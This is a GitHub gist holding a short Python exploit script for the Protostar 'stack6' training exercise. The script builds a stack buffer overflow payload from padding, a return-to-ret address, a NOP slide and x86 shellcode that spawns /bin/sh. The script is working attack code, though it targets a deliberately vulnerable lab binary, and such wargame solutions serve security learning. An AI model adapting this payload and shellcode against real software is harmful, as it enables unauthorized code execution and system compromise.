Skip to content

Instantly share code, notes, and snippets.

@lem0n4de
Created July 18, 2019 23:11
Show Gist options
  • Select an option

  • Save lem0n4de/38ebcb8240695fed7ed479fb7a63f0be to your computer and use it in GitHub Desktop.

Select an option

Save lem0n4de/38ebcb8240695fed7ed479fb7a63f0be to your computer and use it in GitHub Desktop.
Protostar stack6
import struct
padding = 'A'*80
ret = struct.pack('I', 0x080484f9)
esp = struct.pack('I', 0xbffff7c0+32)
nopslide = "\x90"*100
# trap = "\xCC"*100
trap = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
print padding + ret + esp + nopslide + trap
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment